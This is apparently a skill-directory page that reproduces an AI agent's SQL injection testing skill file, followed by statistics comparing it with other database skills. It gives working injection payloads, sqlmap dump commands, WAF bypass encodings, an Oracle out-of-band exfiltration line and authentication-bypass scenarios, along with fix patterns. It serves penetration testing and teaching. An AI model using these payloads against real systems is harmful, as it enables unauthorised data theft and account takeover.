Sql injection
SQL injection occurs when untrusted user input is interpolated directly into database queries, allowing attackers to alter query logic. Detect via single-quote errors, boolean-based blind responses (AND 1=1 vs AND 1=2), time-delay payloads (SLEEP, WAITFOR), UNION column enumeration, and error messages from MySQL, Oracle, MSSQL, PostgreSQL. Tools: sqlmap, sqlbftools, Burp Suite, wfuzz with SQLi fuzz strings.From its SKILL.md
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SQL Injection
What Is Broken and Why
SQL injection arises when applications build SQL queries by concatenating user-controlled strings without parameterization or proper escaping. An attacker who controls part of the query can change its semantics — bypassing authentication, extracting data via UNION or blind techniques, writing files, or executing operating-system commands through database-specific features (xp_cmdshell, UTL_HTTP). The root cause is treating data as code.
Key Signals
- Single quote
'or semicolon;in a parameter returns a database error or anomalous response AND 1=1returns normal content;AND 1=2returns empty/different content- Error messages referencing MySQL, ORA-, MSSQL, PostgreSQL syntax
ORDER BY N--incrementing until an error reveals column count- Delayed response to
SLEEP(5)orWAITFOR DELAY '0:0:5' - Application encodes or strips
'but not--or/**/
Methodology
- Enumerate all input vectors: GET/POST parameters, cookie values, HTTP headers (User-Agent, Referer, X-Forwarded-For).
- Submit
',",;,--,/* */individually and observe response differences (errors, blank pages, changed content). - Confirm with boolean pair: append
AND 1=1--(true) vsAND 1=2--(false). - Determine column count with
ORDER BY 1--, incrementing until error. - Find injectable columns with
UNION SELECT null,null,...--substitutingnullwith1or'a'to locate string columns. - Extract data:
UNION SELECT table_name,null FROM information_schema.tables-- - For blind (no output): use ASCII/SUBSTRING boolean loop or time-delay payloads.
- For error-based (Oracle): use
UTL_INADDR.GET_HOST_NAME((SELECT user FROM DUAL)). - Test stacked queries where supported:
; INSERT INTO .... - Escalate to OS interaction if database user has sufficient privileges.
Payloads & Tools
# Boolean detection
TARGET/page?id=1 AND 1=1--
TARGET/page?id=1 AND 1=2--
# Column count
TARGET/page?id=10 ORDER BY 5--
# UNION extraction (3-column example)
TARGET/page?id=99999 UNION SELECT 1,version(),3--
TARGET/page?id=99999 UNION SELECT 1,table_name,3 FROM information_schema.tables LIMIT 1--
# Boolean blind character extraction
TARGET/page?id=1' AND ASCII(SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1))>64--
# Time-based blind (MySQL)
TARGET/page?id=1 AND IF(1=1,SLEEP(5),0)--
# Time-based blind (MSSQL)
TARGET/page?id=1; WAITFOR DELAY '0:0:5'--
# Error-based (Oracle)
TARGET/page?id=10||UTL_INADDR.GET_HOST_NAME((SELECT user FROM DUAL))--
# Out-of-band (Oracle)
TARGET/page?id=10||UTL_HTTP.REQUEST('VICTIM:80'||(SELECT user FROM DUAL))--
# sqlmap automation
sqlmap -u "TARGET/page?id=1" --dbs --batch
sqlmap -u "TARGET/page?id=1" -D dbname --tables --batch
sqlmap -u "TARGET/page?id=1" -D dbname -T users --dump --batch
sqlmap -u "TARGET/page?id=1" --data="user=foo&pass=bar" --level=3 --risk=2
Bypass Techniques
- Whitespace substitution:
OR/**/1=1,OR\n1=1,OR\t1=1 - Comment fragmentation:
UN/**/ION/**/SE/**/LECT - Null byte prefix:
%00' UNION SELECT ... - URL encoding:
%27for',%20for space,%2D%2Dfor-- - Double URL encoding:
%2527→%27→' - Hex encoding:
SELECT user FROM users WHERE name=unhex('61646d696e') char()encoding:char(97,100,109,105,110)= "admin"- Case variation:
SeLeCt,uNiOn - MSSQL string concat:
EXEC('SEL'+'ECT 1') - Alternative boolean expressions:
OR 'x'='x',OR 2>1,1||1=1,1&&1=1,OR 2 BETWEEN 1 AND 3 - HTTP Parameter Pollution: split payload across duplicate parameters
Exploitation Scenarios
Scenario 1 — Authentication Bypass
Setup: Login form passes username/password directly into SELECT * FROM users WHERE user='$u' AND pass='$p'.
Trigger: Submit username admin'-- with any password. Query becomes WHERE user='admin'--' AND pass='...', commenting out the password check.
Impact: Full admin account access without valid credentials.
Scenario 2 — Data Exfiltration via UNION
Setup: Product search page reflects one database field; column count is 3; column 2 is a string.
Trigger: TARGET/search?q=x' UNION SELECT 1,group_concat(username,0x3a,password),3 FROM users--
Impact: All username/password hashes returned in the product name field.
Scenario 3 — Blind Time-Based Credential Extraction
Setup: No visible output; application returns 200 for all responses.
Trigger: TARGET/page?id=1 AND IF(SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='a',SLEEP(5),0)-- — iterate characters observing latency.
Impact: Full password hash extraction character by character.
False Positives
- Apostrophes in legitimate product names causing syntax errors unrelated to injection
- Slow queries caused by missing indexes, not SLEEP payloads
- Generic 500 errors on all invalid input (not SQL-specific)
- WAF-generated error pages that mimic database errors
Fix Patterns
- Parameterized queries / prepared statements in all database interactions:
SELECT * FROM users WHERE id = ? - ORM usage with no raw string interpolation
- Stored procedures with typed parameters (not dynamic SQL within the procedure)
- Input validation as defense-in-depth (not sole protection)
- Least-privilege database accounts (no xp_cmdshell, no FILE privilege)
- Disable detailed database error messages in production
Related Skills
[[cmd-injection]] is the OS-level equivalent — both share the same root cause of treating input as code, and both can be tested with similar blind time-delay probes. When SQL injection on a login form bypasses authentication, that outcome is also covered in [[auth-bypass]]. If SQLi leads to file read (LOAD_FILE), [[path-traversal]] techniques apply for target file selection. In mobile apps, [[mobile-code-quality]] covers the same SQLite injection pattern against local databases.
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Gives 1 of the 12 instructions most databases sql skills give in ~1.5k tokens
Counted across 609 of the 712 authors here whose files we hold, read 2026-09-06
- Index all foreign key columnsin 26 of 609
- Use cursor pagination instead of offsetin 25 of 609, across 20 files
- Use timestamptz for timestampsin 21 of 609
- Specify columns instead of using select starin 20 of 609, across 10 files
- Use parameterized queries for all database interactionshere, and in 20 of 609, across 19 files
- Use Enum for categorical datain 17 of 609, across 7 files
- Order by frequently filtered columnsin 17 of 609, across 7 files
- Batch data insertsin 17 of 609, across 7 files
- Use expand-contract pattern for schema changesin 17 of 609
- Use materialized views for real-time aggregationsin 16 of 609, across 6 files
- Partition tables by timein 16 of 609, across 6 files
- Use smallest appropriate data typesin 16 of 609, across 6 files
Said here and by no other author read
- Enumerate all input vectors including headers and cookies
- Submit injection characters to observe response differences
- Identify injectable columns using union select statements
- Use boolean loops for blind data extraction
- Use time-delay payloads for blind data extraction
- Test stacked queries where supported
Grouped from the skills themselves: near-identical wordings counted once, and counted by distinct author, so one author publishing three of these counts once. Length counted with cl100k_base; the agent that loads this file may tokenize it differently.